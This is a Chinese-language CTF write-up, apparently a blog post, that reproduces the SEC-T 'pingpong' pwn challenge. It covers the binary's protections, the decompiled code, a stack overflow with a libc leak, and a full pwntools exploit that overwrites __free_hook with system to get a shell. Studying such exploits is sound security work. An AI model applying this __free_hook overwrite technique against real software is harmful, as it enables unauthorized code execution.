SEC-T pwn題 簡單復現(xiàn)

  • pingpong

    這一題應該是最簡單的pwn題了 ,但是我還是沒做出來。對程序分析的不夠明白,雖然把libc和canary都leak出來了,但不知道要怎么做,嘗試修改返回地址,但是失敗了.......

    防護機制:

    [*] '/home/zs0zrc/game/SECTF/pingppong/pingpong'
        Arch:     amd64-64-little
        RELRO:    Full RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      PIE enabled
    

    防護機制全開,簡單的運行了下,程序邏輯很簡單。就是輸入一串字符串,然后再將轉(zhuǎn)換過后的字符串打印出來。用ida查看反編譯的代碼

    void __fastcall __noreturn sub_B93(__int64 a1, void *a2)
    {
      signed __int64 v2; // rdx
      void *v3; // rsp
      const char *v4; // [rsp+8h] [rbp-18h]
      void *ptr; // [rsp+10h] [rbp-10h]
      unsigned __int64 v6; // [rsp+18h] [rbp-8h]
    
      v6 = __readfsqword(0x28u);
      v2 = 14LL;
      v3 = alloca(144LL);
      v4 = (16 * ((&v4 + 7) >> 4));                 // overwrite it
      while ( 1 )
      {
        printf("\nping: ", a2, v2);
        ptr = read_content(v4);
        if ( !ptr )
          break;
        a2 = ptr;
        printf("pong: %s\n", ptr);
        free(ptr);
        usleep(0xC350u);
      }
      _exit(0);
    }
    

    程序?qū)4的地址進行了一些位移操作后傳給read_content函數(shù)作為參數(shù),調(diào)試觀察v4經(jīng)過位移操作后的變化

    操作前:

    &v4 = 0x7fffffffdd78
    *v4 = 0x00007fffffffdeb8
    

    操作后

    &v4 = 0x7fffffffdd78
    *v4 = 0x7fffffffdce0
    

    read_content函數(shù):

    _BYTE *__fastcall read_content(const char *buf)
    {
      int v1; // eax
      char v2; // al
      char v4; // [rsp+17h] [rbp-19h]
      int v5; // [rsp+18h] [rbp-18h]
      int i; // [rsp+18h] [rbp-18h]
      int len; // [rsp+1Ch] [rbp-14h]
      _BYTE *v8; // [rsp+20h] [rbp-10h]
    
      v5 = 0;
      while ( 1 )
      {
        v4 = getchar();                             // stack overflow
        if ( v4 == -1 || v4 == '\n' )
          break;
        v1 = v5++;
        buf[v1] = v4;
      }
      len = strlen(buf);
      v8 = malloc(0x400uLL);
      for ( i = 0; i < len; ++i )
      {
        if ( i & 1 )
          v2 = buf[i] ^ 0x20;
        else
          v2 = buf[i];
        v8[i] = v2;
      }
      return v8;
    }
    

    這里根據(jù)將字符串讀取到*v4上去,因為這里讀取結(jié)束的條件是 -1和'\n',可以讀取很長的字符串,所以能覆蓋v4變量。然后將讀取的字符串經(jīng)過一個簡單的異或操作,拷貝到新malloc的chunk中,最后將chunk的地址作為函數(shù)返回值。因為這里沒有在末尾加'\0'截斷字符串,所以存在信息泄露。

    具體思路是:

    泄露libc地址
    覆蓋v4的內(nèi)容為 &__free_hook-8
    然后在讀入 '/bin/sh\x00' + p64(system) #將__free_hook覆蓋為system地址,這里'/bin/sh\x00'字符串要按它的規(guī)則進行異或
    最后程序執(zhí)行free函數(shù)時,就會執(zhí)行system函數(shù)
    #這是其中的一種做法,我看別人的wp還有的是用rop做的,泄露出stack的地址,然后將ropchain寫入棧中,再覆蓋返回地址
    

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./pingpong')
    elf = ELF('./pingpong')
    libc = elf.libc
else:
    host = '142.93.39.178'
    port = '2025'
    p = remote(host,port)
    elf = ELF('./pingpong')
    libc = ELF('./libc.so.6')

context.arch = elf.arch
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)


rc()
sl('aaaaaaaa')
ru('ping:')
sl('aaaaaaaa')
ru('pong: aAaAaAaA')
leak = u64(p.recvline().strip('\n').ljust(8,'\x00'))
leak_stdout = 0
for i in range(6):
    if(i&1):
        leak_stdout +=(((leak>>i*8)&0xff^0x20)<<(i*8))
    else:
        leak_stdout +=(((leak>>i*8)&0xff)<<(i*8))


libc_base = leak_stdout - libc.symbols['_IO_2_1_stdout_']
__free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
print hex(libc_base)

binsh = '/BiN/Sh\x20'
payload1 = 'a'*0x98 + p64(__free_hook-0x8)
payload2 = binsh + p64(system)

sl(payload1)
rc()
sl(payload2)
p.interactive()
最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內(nèi)容